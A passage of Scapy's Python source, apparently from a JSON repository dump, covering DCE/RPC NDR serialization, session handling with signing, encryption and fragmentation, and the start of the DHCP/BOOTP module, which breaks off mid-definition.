any2i(self, pkt, x):\n        # User-friendly helper\n        if x:\n            if not isinstance(x, NDRUnion):\n                raise ValueError(\"Invalid value for %s; should be NDRUnion\" % self.name)\n            else:\n                x.value = _NDRUnionField.any2i(self, pkt, x)\n        return x\n\n\n# Misc\n\n\nclass _ProxyArray:\n    # Hack for recursive fields DEPORTED_CONFORMANTS field\n    __slots__ = [\"getfld\"]\n\n    def __init__(self, getfld):\n        self.getfld = getfld\n\n    def __len__(self):\n        try:\n            return len(self.getfld())\n        except AttributeError:\n            return 0\n\n    def __iter__(self):\n        try:\n            return iter(self.getfld())\n        except AttributeError:\n            return iter([])\n\n\nclass _ProxyTuple:\n    # Hack for recursive fields ALIGNMENT field\n    __slots__ = [\"getfld\"]\n\n    def __init__(self, getfld):\n        self.getfld = getfld\n\n    def __getitem__(self, name):\n        try:\n            return self.getfld()[name]\n        except AttributeError:\n            raise KeyError\n\n\ndef NDRRecursiveClass(clsname):\n    \"\"\"\n    Return a special class that is used for pointer recursion\n    \"\"\"\n    # Get module where this is called\n    frame = inspect.currentframe().f_back\n    mod = frame.f_globals[\"__loader__\"].name\n    getcls = lambda: getattr(importlib.import_module(mod), clsname)\n\n    class _REC(NDRPacket):\n        ALIGNMENT = _ProxyTuple(lambda: getattr(getcls(), \"ALIGNMENT\"))\n        DEPORTED_CONFORMANTS = _ProxyArray(\n            lambda: getattr(getcls(), \"DEPORTED_CONFORMANTS\")\n        )\n\n        @classmethod\n        def dispatch_hook(cls, _pkt=None, *args, **kargs):\n            return getcls()\n\n    return _REC\n\n\n# The very few NDR-specific structures\n\n\nclass NDRContextHandle(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        LEIntField(\"attributes\", 0),\n        StrFixedLenField(\"uuid\", b\"\", length=16),\n    ]\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass NDRNone(NDRPacket):\n    # This is only used in NDRPacketListField to act as a \"None\" pointer, and is\n    # a workaround because the field doesn't support None as a value in the list.\n    name = \"None\"\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRInt3264Field(\"ptr\", 0),\n    ]\n\n\n# --- Type Serialization Version 1 - [MSRPCE] sect 2.2.6\n\n\ndef _get_ndrtype1_endian(pkt):\n    if pkt.underlayer is None:\n        return \"<\"\n    return {0x00: \">\", 0x10: \"<\"}.get(pkt.underlayer.Endianness, \"<\")\n\n\nclass NDRSerialization1Header(Packet):\n    fields_desc = [\n        ByteField(\"Version\", 1),\n        ByteEnumField(\"Endianness\", 0x10, {0x00: \"big\", 0x10: \"little\"}),\n        LEShortField(\"CommonHeaderLength\", 8),\n        XLEIntField(\"Filler\", 0xCCCCCCCC),\n    ]\n\n    # Add a bit of goo so that valueof() goes through the header\n\n    def _ndrlayer(self):\n        cur = self\n        while cur and not isinstance(cur, _NDRPacket) and cur.payload:\n            cur = cur.payload\n        if isinstance(cur, NDRPointer):\n            cur = cur.value\n        return cur\n\n    def getfield_and_val(self, attr):\n        try:\n            return Packet.getfield_and_val(self, attr)\n        except ValueError:\n            return self._ndrlayer().getfield_and_val(attr)\n\n    def valueof(self, name):\n        return self._ndrlayer().valueof(name)\n\n\nclass NDRSerialization1PrivateHeader(Packet):\n    fields_desc = [\n        EField(\n            LEIntField(\"ObjectBufferLength\", 0), endianness_from=_get_ndrtype1_endian\n        ),\n        XLEIntField(\"Filler\", 0),\n    ]\n\n\ndef ndr_deserialize1(b, cls, ptr_pack=False):\n    \"\"\"\n    Deserialize Type Serialization Version 1\n    [MS-RPCE] sect 2.2.6\n\n    :param ptr_pack: pack in a pointer to the structure.\n    \"\"\"\n    if issubclass(cls, NDRPacket):\n        # We use an intermediary class because it uses NDRPacketField which handles\n        # deported conformant fields\n        if ptr_pack:\n            hdrlen = 20\n\n            class _cls(NDRPacket):\n                fields_desc = [NDRFullPointerField(NDRPacketField(\"pkt\", None, cls))]\n\n        else:\n            hdrlen = 16\n\n            class _cls(NDRPacket):\n                fields_desc = [NDRPacketField(\"pkt\", None, cls)]\n\n        hdr = NDRSerialization1Header(b[:8]) / NDRSerialization1PrivateHeader(b[8:16])\n        endian = {0x00: \"big\", 0x10: \"little\"}[hdr.Endianness]\n        padlen = (-hdr.ObjectBufferLength) % _TYPE1_S_PAD\n        # padlen should be 0 (pad included in length), but some implementations\n        # implement apparently misread the spec\n        return (\n            hdr\n            / _cls(\n                b[16 : hdrlen + hdr.ObjectBufferLength],\n                ndr64=False,  # Only NDR32 is supported in Type 1\n                ndrendian=endian,\n            ).pkt\n            / conf.padding_layer(b[hdrlen + padlen + hdr.ObjectBufferLength :])\n        )\n    return NDRSerialization1Header(b[:8]) / cls(b[8:])\n\n\ndef ndr_serialize1(pkt, ptr_pack=False):\n    \"\"\"\n    Serialize Type Serialization Version 1\n    [MS-RPCE] sect 2.2.6\n\n    :param ptr_pack: pack in a pointer to the structure.\n    \"\"\"\n    pkt = pkt.copy()\n    endian = getattr(pkt, \"ndrendian\", \"little\")\n    if not isinstance(pkt, NDRSerialization1Header):\n        if not isinstance(pkt, NDRPacket):\n            return bytes(NDRSerialization1Header(Endianness=endian) / pkt)\n        if isinstance(pkt, NDRPointer):\n            cls = pkt.value.__class__\n        else:\n            cls = pkt.__class__\n        val = pkt\n        pkt_len = len(pkt)\n        # ObjectBufferLength:\n        # > It MUST include the padding length and exclude the header itself\n        pkt = NDRSerialization1Header(\n            Endianness=endian\n        ) / NDRSerialization1PrivateHeader(\n            ObjectBufferLength=pkt_len + (-pkt_len) % _TYPE1_S_PAD\n        )\n    else:\n        cls = pkt.value.__class__\n        val = pkt.payload.payload\n        pkt.payload.remove_payload()\n\n    # See above about why we need an intermediary class\n    if ptr_pack:\n\n        class _cls(NDRPacket):\n            fields_desc = [NDRFullPointerField(NDRPacketField(\"pkt\", None, cls))]\n\n    else:\n\n        class _cls(NDRPacket):\n            fields_desc = [NDRPacketField(\"pkt\", None, cls)]\n\n    ret = bytes(pkt / _cls(pkt=val, ndr64=False, ndrendian=endian))\n    return ret + (-len(ret) % _TYPE1_S_PAD) * b\"\\x00\"\n\n\nclass _NDRSerializeType1:\n    def __init__(self, *args, **kwargs):\n        self.ptr_pack = kwargs.pop(\"ptr_pack\", False)\n        super(_NDRSerializeType1, self).__init__(*args, **kwargs)\n\n    def i2m(self, pkt, val):\n        return ndr_serialize1(val, ptr_pack=self.ptr_pack)\n\n    def m2i(self, pkt, s):\n        return ndr_deserialize1(s, self.cls, ptr_pack=self.ptr_pack)\n\n    def i2len(self, pkt, val):\n        return len(self.i2m(pkt, val))\n\n\nclass NDRSerializeType1PacketField(_NDRSerializeType1, PacketField):\n    __slots__ = [\"ptr_pack\"]\n\n\nclass NDRSerializeType1PacketLenField(_NDRSerializeType1, PacketLenField):\n    __slots__ = [\"ptr_pack\"]\n\n\nclass NDRSerializeType1PacketListField(_NDRSerializeType1, PacketListField):\n    __slots__ = [\"ptr_pack\"]\n\n    def i2len(self, pkt, val):\n        return sum(len(self.i2m(pkt, p)) for p in val)\n\n\n# --- DCE/RPC session\n\n\nclass DceRpcSession(DefaultSession):\n    \"\"\"\n    A DCE/RPC session within a TCP socket.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.rpc_bind_interface: Union[DceRpcInterface, ComInterface] = None\n        self.rpc_bind_is_com: bool = False\n        self.ndr64 = False\n        self.ndrendian = \"little\"\n        self.support_header_signing = kwargs.pop(\"support_header_signing\", True)\n        self.header_sign = conf.dcerpc_force_header_signing\n        self.ssp = kwargs.pop(\"ssp\", None)\n        self.sspcontext = kwargs.pop(\"sspcontext\", None)\n        self.auth_level = kwargs.pop(\"auth_level\", None)\n        self.sent_cont_ids = []\n        self.cont_id = 0  # Currently selected context\n        self.auth_context_id = 0  # Currently selected authentication context\n        self.assoc_group_id = 0  # Currently selected association group\n        self.map_callid_opnum = {}\n        self.frags = collections.defaultdict(lambda: b\"\")\n        self.sniffsspcontexts = {}  # Unfinished contexts for passive\n        if conf.dcerpc_session_enable and conf.winssps_passive:\n            for ssp in conf.winssps_passive:\n                self.sniffsspcontexts[ssp] = None\n        super(DceRpcSession, self).__init__(*args, **kwargs)\n\n    def _up_pkt(self, pkt):\n        \"\"\"\n        Common function to handle the DCE/RPC session: what interfaces are bind,\n        opnums, etc.\n        \"\"\"\n        opnum = None\n        opts = {}\n        if DceRpc5Bind in pkt or DceRpc5AlterContext in pkt:\n            # bind => get which RPC interface\n            self.sent_cont_ids = [x.cont_id for x in pkt.context_elem]\n            for ctx in pkt.context_elem:\n                if_uuid = ctx.abstract_syntax.if_uuid\n                if_version = ctx.abstract_syntax.if_version\n                try:\n                    self.rpc_bind_interface = DCE_RPC_INTERFACES[(if_uuid, if_version)]\n                    self.rpc_bind_is_com = False\n                except KeyError:\n                    try:\n                        self.rpc_bind_interface = COM_INTERFACES[if_uuid]\n                        self.rpc_bind_is_com = True\n                    except KeyError:\n                        self.rpc_bind_interface = None\n                        log_runtime.warning(\n                            \"Unknown RPC interface %s. Try loading the IDL\" % if_uuid\n                        )\n        elif DceRpc5BindAck in pkt or DceRpc5AlterContextResp in pkt:\n            # bind ack => is it NDR64\n            for i, res in enumerate(pkt.results):\n                if res.result == 0:  # Accepted\n                    # Context\n                    try:\n                        self.cont_id = self.sent_cont_ids[i]\n                    except IndexError:\n                        self.cont_id = 0\n                    finally:\n                        self.sent_cont_ids = []\n\n                    self.assoc_group_id = pkt.assoc_group_id\n\n                    # Endianness\n                    self.ndrendian = {0: \"big\", 1: \"little\"}[pkt[DceRpc5].endian]\n\n                    # Transfer syntax\n                    if res.transfer_syntax.sprintf(\"%if_uuid%\") == \"NDR64\":\n                        self.ndr64 = True\n        elif DceRpc5Request in pkt:\n            # request => match opnum with callID\n            opnum = pkt.opnum\n            uid = (self.assoc_group_id, pkt.call_id)\n            if self.rpc_bind_is_com:\n                self.map_callid_opnum[uid] = (\n                    opnum,\n                    pkt[DceRpc5Request].payload.payload,\n                )\n            else:\n                self.map_callid_opnum[uid] = opnum, pkt[DceRpc5Request].payload\n        elif DceRpc5Response in pkt:\n            # response => get opnum from table\n            uid = (self.assoc_group_id, pkt.call_id)\n            try:\n                opnum, opts[\"request_packet\"] = self.map_callid_opnum[uid]\n                del self.map_callid_opnum[uid]\n            except KeyError:\n                log_runtime.info(\"Unknown call_id %s in DCE/RPC session\" % pkt.call_id)\n        # Bind / Alter request/response specific\n        if (\n            DceRpc5Bind in pkt\n            or DceRpc5AlterContext in pkt\n            or DceRpc5BindAck in pkt\n            or DceRpc5AlterContextResp in pkt\n        ):\n            # Detect if \"Header Signing\" is in use\n            if pkt.pfc_flags & 0x04:  # PFC_SUPPORT_HEADER_SIGN\n                self.header_sign = True\n        return opnum, opts\n\n    # [C706] sect 12.6.2 - Fragmentation and Reassembly\n    # Since the connection-oriented transport guarantees sequentiality, the receiver\n    # will always receive the fragments in order.\n\n    def _defragment(self, pkt, body=None):\n        \"\"\"\n        Function to defragment DCE/RPC packets.\n        \"\"\"\n        uid = (self.assoc_group_id, pkt.call_id)\n        if pkt.pfc_flags.PFC_FIRST_FRAG and pkt.pfc_flags.PFC_LAST_FRAG:\n            # Not fragmented\n            return body\n        if pkt.pfc_flags.PFC_FIRST_FRAG or uid in self.frags:\n            # Packet is fragmented\n            if body is None:\n                body = pkt[DceRpc5].payload.payload.original\n            self.frags[uid] += body\n            if pkt.pfc_flags.PFC_LAST_FRAG:\n                return self.frags[uid]\n        else:\n            # Not fragmented\n            return body\n\n    # C706 sect 12.5.2.15 - PDU Body Length\n    # \"The maximum PDU body size is 65528 bytes.\"\n    MAX_PDU_BODY_SIZE = 4176\n\n    def _fragment(self, pkt, body):\n        \"\"\"\n        Function to fragment DCE/RPC packets.\n        \"\"\"\n        if len(body) > self.MAX_PDU_BODY_SIZE:\n            # Clear any PFC_*_FRAG flag\n            pkt.pfc_flags &= 0xFC\n\n            # Iterate through fragments\n            cur = None\n            while body:\n                # Create a fragment\n                pkt_frag = pkt.copy()\n\n                if cur is None:\n                    # It's the first one\n                    pkt_frag.pfc_flags += \"PFC_FIRST_FRAG\"\n\n                # Split\n                cur, body = (\n                    body[: self.MAX_PDU_BODY_SIZE],\n                    body[self.MAX_PDU_BODY_SIZE :],\n                )\n\n                if not body:\n                    # It's the last one\n                    pkt_frag.pfc_flags += \"PFC_LAST_FRAG\"\n                yield pkt_frag, cur\n        else:\n            yield pkt, body\n\n    # [MS-RPCE] sect 3.3.1.5.2.2\n\n    # The PDU header, PDU body, and sec_trailer MUST be passed in the input message, in\n    # this order, to GSS_WrapEx, GSS_UnwrapEx, GSS_GetMICEx, and GSS_VerifyMICEx. For\n    # integrity protection the sign flag for that PDU segment MUST be set to TRUE, else\n    # it MUST be set to FALSE. For confidentiality protection, the conf_req_flag for\n    # that PDU segment MUST be set to TRUE, else it MUST be set to FALSE.\n\n    # If the authentication level is RPC_C_AUTHN_LEVEL_PKT_PRIVACY, the PDU body will\n    # be encrypted.\n    # The PDU body from the output message of GSS_UnwrapEx represents the plain text\n    # version of the PDU body. The PDU header and sec_trailer output from the output\n    # message SHOULD be ignored.\n    # Similarly the signature output SHOULD be ignored.\n\n    def in_pkt(self, pkt):\n        # Check for encrypted payloads\n        body = None\n        if conf.raw_layer in pkt.payload:\n            body = bytes(pkt.payload[conf.raw_layer])\n        # If we are doing passive sniffing\n        if conf.dcerpc_session_enable and conf.winssps_passive:\n            # We have Windows SSPs, and no current context\n            if pkt.auth_verifier and pkt.auth_verifier.is_ssp():\n                # This is a bind/alter/auth3 req/resp\n                for ssp in self.sniffsspcontexts:\n                    self.sniffsspcontexts[ssp], status = ssp.GSS_Passive(\n                        self.sniffsspcontexts[ssp],\n                        pkt.auth_verifier.auth_value,\n                        req_flags=GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS\n                        | GSS_C_FLAGS.GSS_C_DCE_STYLE,\n                    )\n                    if status == GSS_S_COMPLETE:\n                        self.auth_level = DCE_C_AUTHN_LEVEL(\n                            int(pkt.auth_verifier.auth_level)\n                        )\n                        self.ssp = ssp\n                        self.sspcontext = self.sniffsspcontexts[ssp]\n                        self.sniffsspcontexts[ssp] = None\n            elif (\n                self.sspcontext\n                and pkt.auth_verifier\n                and pkt.auth_verifier.is_protected()\n                and body\n            ):\n                # This is a request/response\n                if self.sspcontext.passive:\n                    self.ssp.GSS_Passive_set_Direction(\n                        self.sspcontext,\n                        IsAcceptor=DceRpc5Response in pkt,\n                    )\n        if pkt.auth_verifier and pkt.auth_verifier.is_protected() and body:\n            if self.sspcontext is None:\n                return pkt\n            if self.auth_level in (\n                RPC_C_AUTHN_LEVEL.PKT_INTEGRITY,\n                RPC_C_AUTHN_LEVEL.PKT_PRIVACY,\n            ):\n                # note: 'vt_trailer' is included in the pdu body\n                # [MS-RPCE] sect 2.2.2.13\n                # \"The data structures MUST only appear in a request PDU, and they\n                # SHOULD be placed in the PDU immediately after the stub data but\n                # before the authentication padding octets. Therefore, for security\n                # purposes, the verification trailer is considered part of the PDU\n                # body.\"\n                if pkt.vt_trailer:\n                    body += bytes(pkt.vt_trailer)\n                # Account for padding when computing checksum/encryption\n                if pkt.auth_padding:\n                    body += pkt.auth_padding\n\n                # Build pdu_header and sec_trailer\n                pdu_header = pkt.copy()\n                sec_trailer = pdu_header.auth_verifier\n                # sec_trailer: include the sec_trailer but not the Authentication token\n                authval_len = len(sec_trailer.auth_value)\n                # Discard everything out of the header\n                pdu_header.auth_padding = None\n                pdu_header.auth_verifier = None\n                pdu_header.payload.payload = NoPayload()\n                pdu_header.vt_trailer = None\n\n                # [MS-RPCE] sect 2.2.2.12\n                if self.auth_level == RPC_C_AUTHN_LEVEL.PKT_PRIVACY:\n                    _msgs = self.ssp.GSS_UnwrapEx(\n                        self.sspcontext,\n                        [\n                            # \"PDU header\"\n                            SSP.WRAP_MSG(\n                                conf_req_flag=False,\n                                sign=self.header_sign,\n                                data=bytes(pdu_header),\n                            ),\n                            # \"PDU body\"\n                            SSP.WRAP_MSG(\n                                conf_req_flag=True,\n                                sign=True,\n                                data=body,\n                            ),\n                            # \"sec_trailer\"\n                            SSP.WRAP_MSG(\n                                conf_req_flag=False,\n                                sign=self.header_sign,\n                                data=bytes(sec_trailer)[:-authval_len],\n                            ),\n                        ],\n                        pkt.auth_verifier.auth_value,\n                    )\n                    body = _msgs[1].data  # PDU body\n                elif self.auth_level == RPC_C_AUTHN_LEVEL.PKT_INTEGRITY:\n                    self.ssp.GSS_VerifyMICEx(\n                        self.sspcontext,\n                        [\n                            # \"PDU header\"\n                            SSP.MIC_MSG(\n                                sign=self.header_sign,\n                                data=bytes(pdu_header),\n                            ),\n                            # \"PDU body\"\n                            SSP.MIC_MSG(\n                                sign=True,\n                                data=body,\n                            ),\n                            # \"sec_trailer\"\n                            SSP.MIC_MSG(\n                                sign=self.header_sign,\n                                data=bytes(sec_trailer)[:-authval_len],\n                            ),\n                        ],\n                        pkt.auth_verifier.auth_value,\n                    )\n                # Put padding back into the header\n                if pkt.auth_padding:\n                    padlen = len(pkt.auth_padding)\n                    body, pkt.auth_padding = body[:-padlen], body[-padlen:]\n                # Put back vt_trailer into the header, if present.\n                if _SECTRAILER_MAGIC in body:\n                    body, pkt.vt_trailer = pkt.get_field(\"vt_trailer\").getfield(\n                        pkt, body\n                    )\n        # If it's a request / response, could be fragmented\n        if isinstance(pkt.payload, (DceRpc5Request, DceRpc5Response)) and body:\n            body = self._defragment(pkt, body)\n            if not body:\n                return\n        # Get opnum and options\n        opnum, opts = self._up_pkt(pkt)\n        # Try to parse the payload\n        if opnum is not None and self.rpc_bind_interface:\n            # use opnum to parse the payload\n            is_response = DceRpc5Response in pkt\n            try:\n                cls = self.rpc_bind_interface.opnums[opnum][is_response]\n            except KeyError:\n                log_runtime.warning(\n                    \"Unknown opnum %s for interface %s\"\n                    % (opnum, self.rpc_bind_interface)\n                )\n                pkt.payload[conf.raw_layer].load = body\n                return pkt\n            if body:\n                orpc = None\n                if self.rpc_bind_is_com:\n                    # If interface is a COM interface, start off by dissecting the\n                    # ORPCTHIS / ORPCTHAT argument\n                    from scapy.layers.msrpce.raw.ms_dcom import ORPCTHAT, ORPCTHIS\n\n                    # [MS-DCOM] sect 2.2.13\n                    # \"ORPCTHIS and ORPCTHAT structures MUST be marshaled using\n                    # the NDR (32) Transfer Syntax\"\n                    if is_response:\n                        orpc = ORPCTHAT(body, ndr64=False)\n                    else:\n                        orpc = ORPCTHIS(body, ndr64=False)\n                    body = orpc.load\n                    orpc.remove_payload()\n                # Dissect payload using class\n                try:\n                    payload = cls(\n                        body, ndr64=self.ndr64, ndrendian=self.ndrendian, **opts\n                    )\n                except Exception:\n                    if conf.debug_dissector:\n                        log_runtime.error(\"%s dissector failed\", cls.__name__)\n                        if cls is not None:\n                            raise\n                    payload = conf.raw_layer(body, _internal=1)\n                pkt.payload[conf.raw_layer].underlayer.remove_payload()\n                if conf.padding_layer in payload:\n                    # Most likely, dissection failed.\n                    log_runtime.warning(\n                        \"Padding detected when dissecting %s. Looks wrong.\" % cls\n                    )\n                    pad = payload[conf.padding_layer]\n                    pad.underlayer.payload = conf.raw_layer(load=pad.load)\n                if orpc is not None:\n                    pkt /= orpc\n                pkt /= payload\n                # If a request was encrypted, we need to re-register it once re-parsed.\n                if not is_response and self.auth_level == RPC_C_AUTHN_LEVEL.PKT_PRIVACY:\n                    self._up_pkt(pkt)\n            elif not cls.fields_desc:\n                # Request class has no payload\n                pkt /= cls(ndr64=self.ndr64, ndrendian=self.ndrendian, **opts)\n        elif body:\n            pkt.payload[conf.raw_layer].load = body\n        return pkt\n\n    def out_pkt(self, pkt):\n        assert DceRpc5 in pkt\n        # Register opnum and options\n        self._up_pkt(pkt)\n\n        # If it's a request / response, we can frag it\n        if isinstance(pkt.payload, (DceRpc5Request, DceRpc5Response)):\n            # The list of packet responses\n            pkts = []\n            # Take the body payload, and eventually split it\n            body = bytes(pkt.payload.payload)\n\n            for pkt, body in self._fragment(pkt, body):\n                if pkt.auth_verifier is not None:\n                    # Verifier already set\n                    pkts.append(pkt)\n                    continue\n\n                # Sign / Encrypt\n                if self.sspcontext:\n                    signature = None\n                    if self.auth_level in (\n                        RPC_C_AUTHN_LEVEL.PKT_INTEGRITY,\n                        RPC_C_AUTHN_LEVEL.PKT_PRIVACY,\n                    ):\n                        # Remember that vt_trailer is included in the PDU\n                        if pkt.vt_trailer:\n                            body += bytes(pkt.vt_trailer)\n                        # Account for padding when computing checksum/encryption\n                        if pkt.auth_padding is None:\n                            padlen = (-len(body)) % _COMMON_AUTH_PAD  # authdata padding\n                            pkt.auth_padding = b\"\\x00\" * padlen\n                        else:\n                            padlen = len(pkt.auth_padding)\n                        # Remember that padding IS SIGNED & ENCRYPTED\n                        body += pkt.auth_padding\n                        # Add the auth_verifier\n                        pkt.auth_verifier = CommonAuthVerifier(\n                            auth_type=self.ssp.auth_type,\n                            auth_level=self.auth_level,\n                            auth_context_id=self.auth_context_id,\n                            auth_pad_length=padlen,\n                            # Note: auth_value should have the correct length because\n                            # when using PFC_SUPPORT_HEADER_SIGN, auth_len\n                            # (and frag_len) is included in the token.. but this\n                            # creates a dependency loop as you'd need to know the token\n                            # length to compute the token. Windows solves this by\n                            # setting the 'Maximum Signature Length' (or something\n                            # similar) beforehand, instead of the real length.\n                            # See `gensec_sig_size` in samba.\n                            auth_value=b\"\\x00\"\n                            * self.ssp.MaximumSignatureLength(self.sspcontext),\n                        )\n                        # Build pdu_header and sec_trailer\n                        pdu_header = pkt.copy()\n                        pdu_header.auth_len = len(pdu_header.auth_verifier) - 8\n                        pdu_header.frag_len = len(pdu_header)\n                        sec_trailer = pdu_header.auth_verifier\n                        # sec_trailer: include the sec_trailer but not the\n                        # Authentication token\n                        authval_len = len(sec_trailer.auth_value)\n                        # sec_trailer.auth_value = None\n                        # Discard everything out of the header\n                        pdu_header.auth_padding = None\n                        pdu_header.auth_verifier = None\n                        pdu_header.payload.payload = NoPayload()\n                        pdu_header.vt_trailer = None\n                        signature = None\n                        # [MS-RPCE] sect 2.2.2.12\n                        if self.auth_level == RPC_C_AUTHN_LEVEL.PKT_PRIVACY:\n                            _msgs, signature = self.ssp.GSS_WrapEx(\n                                self.sspcontext,\n                                [\n                                    # \"PDU header\"\n                                    SSP.WRAP_MSG(\n                                        conf_req_flag=False,\n                                        sign=self.header_sign,\n                                        data=bytes(pdu_header),\n                                    ),\n                                    # \"PDU body\"\n                                    SSP.WRAP_MSG(\n                                        conf_req_flag=True,\n                                        sign=True,\n                                        data=body,\n                                    ),\n                                    # \"sec_trailer\"\n                                    SSP.WRAP_MSG(\n                                        conf_req_flag=False,\n                                        sign=self.header_sign,\n                                        data=bytes(sec_trailer)[:-authval_len],\n                                    ),\n                                ],\n                            )\n                            s = _msgs[1].data  # PDU body\n                        elif self.auth_level == RPC_C_AUTHN_LEVEL.PKT_INTEGRITY:\n                            signature = self.ssp.GSS_GetMICEx(\n                                self.sspcontext,\n                                [\n                                    # \"PDU header\"\n                                    SSP.MIC_MSG(\n                                        sign=self.header_sign,\n                                        data=bytes(pdu_header),\n                                    ),\n                                    # \"PDU body\"\n                                    SSP.MIC_MSG(\n                                        sign=True,\n                                        data=body,\n                                    ),\n                                    # \"sec_trailer\"\n                                    SSP.MIC_MSG(\n                                        sign=self.header_sign,\n                                        data=bytes(sec_trailer)[:-authval_len],\n                                    ),\n                                ],\n                                pkt.auth_verifier.auth_value,\n                            )\n                            s = body\n                        else:\n                            raise ValueError(\"Impossible\")\n                        # Put padding back in the header\n                        if padlen:\n                            s, pkt.auth_padding = s[:-padlen], s[-padlen:]\n                        # Put back vt_trailer into the header\n                        if pkt.vt_trailer:\n                            vtlen = len(pkt.vt_trailer)\n                            s, pkt.vt_trailer = s[:-vtlen], s[-vtlen:]\n                    else:\n                        s = body\n\n                    # now inject the encrypted payload into the packet\n                    pkt.payload.payload = conf.raw_layer(load=s)\n                    # and the auth_value\n                    if signature:\n                        pkt.auth_verifier.auth_value = signature\n                    else:\n                        pkt.auth_verifier = None\n                # Add to the list\n                pkts.append(pkt)\n            return pkts\n        else:\n            return [pkt]\n\n    def process(self, pkt: Packet) -> Optional[Packet]:\n        \"\"\"\n        Used when DceRpcSession is used for passive sniffing.\n        \"\"\"\n        pkt = super(DceRpcSession, self).process(pkt)\n        if pkt is not None and DceRpc5 in pkt:\n            rpkt = self.in_pkt(pkt)\n            if rpkt is None:\n                # We are passively dissecting a fragmented packet. Return\n                # just the header showing that it was indeed, fragmented.\n                pkt[DceRpc5].payload.remove_payload()\n                return pkt\n            return rpkt\n        return pkt\n\n\nclass DceRpcSocket(StreamSocket):\n    \"\"\"\n    A Wrapper around StreamSocket that uses a DceRpcSession\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.transport = kwargs.pop(\"transport\", None)\n        self.session = DceRpcSession(\n            ssp=kwargs.pop(\"ssp\", None),\n            auth_level=kwargs.pop(\"auth_level\", None),\n            support_header_signing=kwargs.pop(\"support_header_signing\", True),\n        )\n        super(DceRpcSocket, self).__init__(*args, **kwargs)\n\n    def send(self, x, **kwargs):\n        for pkt in self.session.out_pkt(x):\n            if self.transport == DCERPC_Transport.NCACN_NP:\n                # In this case DceRpcSocket wraps a SMB_RPC_SOCKET, call it directly.\n                self.ins.send(pkt, **kwargs)\n            else:\n                super(DceRpcSocket, self).send(pkt, **kwargs)\n\n    def recv(self, x=None):\n        pkt = super(DceRpcSocket, self).recv(x)\n        if pkt is not None:\n            return self.session.in_pkt(pkt)\n\n\n# --- TODO cleanup below\n\n# Heuristically way to find the payload class\n#\n# To add a possible payload to a DCE/RPC packet, one must first create the\n# packet class, then instead of binding layers using bind_layers, he must\n# call DceRpcPayload.register_possible_payload() with the payload class as\n# parameter.\n#\n# To be able to decide if the payload class is capable of handling the rest of\n# the dissection, the classmethod can_handle() should be implemented in the\n# payload class. This method is given the rest of the string to dissect as\n# first argument, and the DceRpc packet instance as second argument. Based on\n# this information, the method must return True if the class is capable of\n# handling the dissection, False otherwise\n\n\nclass DceRpc4Payload(Packet):\n    \"\"\"Dummy class which use the dispatch_hook to find the payload class\"\"\"\n\n    _payload_class = []\n\n    @classmethod\n    def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs):\n        \"\"\"dispatch_hook to choose among different registered payloads\"\"\"\n        for klass in cls._payload_class:\n            if hasattr(klass, \"can_handle\") and klass.can_handle(_pkt, _underlayer):\n                return klass\n        log_runtime.warning(\"DCE/RPC payload class not found or undefined (using Raw)\")\n        return Raw\n\n    @classmethod\n    def register_possible_payload(cls, pay):\n        \"\"\"Method to call from possible DCE/RPC endpoint to register it as\n        possible payload\"\"\"\n        cls._payload_class.append(pay)\n\n\nbind_layers(DceRpc4, DceRpc4Payload)\n"
  },
  {
    "path": "scapy/layers/dhcp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nDHCP (Dynamic Host Configuration Protocol) and BOOTP\n\nImplements:\n- rfc951 - BOOTSTRAP PROTOCOL (BOOTP)\n- rfc1542 - Clarifications and Extensions for the Bootstrap Protocol\n- rfc1533 - DHCP Options and BOOTP Vendor Extensions\n\"\"\"\n\ntry:\n    from collections.abc import Iterable\nexcept ImportError:\n    # For backwards compatibility.  This was removed in Python 3.8\n    from collections import Iterable\nimport random\nimport struct\n\nimport socket\nimport re\n\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.base_classes import Net\nfrom scapy.compat import chb, orb, bytes_encode\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    Field,\n    FieldListField,\n    FlagsField,\n    IntField,\n    IPField,\n    MACField,\n    ShortField,\n    StrEnumField,\n    StrField,\n    StrFixedLenField,\n    XIntField,\n)\nfrom scapy.layers.inet import UDP, IP\nfrom scapy.layers.l2 import Ether, HARDWARE_TYPES\nfrom scapy.packet import bind_layers, bind_bottom_up, Packet\nfrom scapy.utils import atol, itom, ltoa, sane, str2mac, mac2str\nfrom scapy.volatile import (\n    RandBin,\n    RandByte,\n    RandField,\n    RandIP,\n    RandInt,\n    RandNum,\n    RandNumExpo,\n    VolatileValue,\n)\n\nfrom scapy.arch import get_if_hwaddr\nfrom scapy.sendrecv import srp1\nfrom scapy.error import warning\nfrom scapy.config import conf\n\n# Typing imports\nfrom typing import (\n    List,\n    Optional,\n    Union,\n)\n\ndhcpmagic = b\"c\\x82Sc\"\n\n\nclass _BOOTP_chaddr(StrFixedLenField):\n    def i2m(self, pkt, x):\n        if isinstance(x, VolatileValue):\n            x = x._fix()\n        return MACField.i2m(self, pkt, x)\n\n    def i2repr(self, pkt, v):\n        if isinstance(v, VolatileValue):\n            return repr(v)\n        if pkt.htype == 1:  # Ethernet\n            if v[6:] == b\"\\x00\" * 10:  # Default padding\n                return \"%s (+ 10 nul pad)\" % str2mac(v[:6])\n            else:\n                return \"%s (pad: %s)\" % (str2mac(v[:6]), v[6:])\n        return super(_BOOTP_chaddr, self).i2repr(pkt, v)\n\n\nclass BOOTP(Packet):\n    name = \"BOOTP\"\n    fields_desc = [\n        ByteEnumField(\"op\", 1, {1: \"BOOTREQUEST\", 2: \"BOOTREPLY\"}),\n        ByteEnumField(\"htype\", 1, HARDWARE_TYPES),\n        ByteField(\"hlen\", 6),\n        ByteField(\"hops\", 0),\n        XIntField(\"xid\", 0),\n        ShortField(\"secs\", 0),\n        FlagsField(\"flags\", 0, 16, \"???????????????B\"),\n        IPField(\"ciaddr\", \"0.0.0.0\"),\n        IPField(\"yiaddr\", \"0.0.0.0\"),\n        IPField(\"siaddr\", \"0.0.0.0\"),\n        IPField(\"giaddr\", 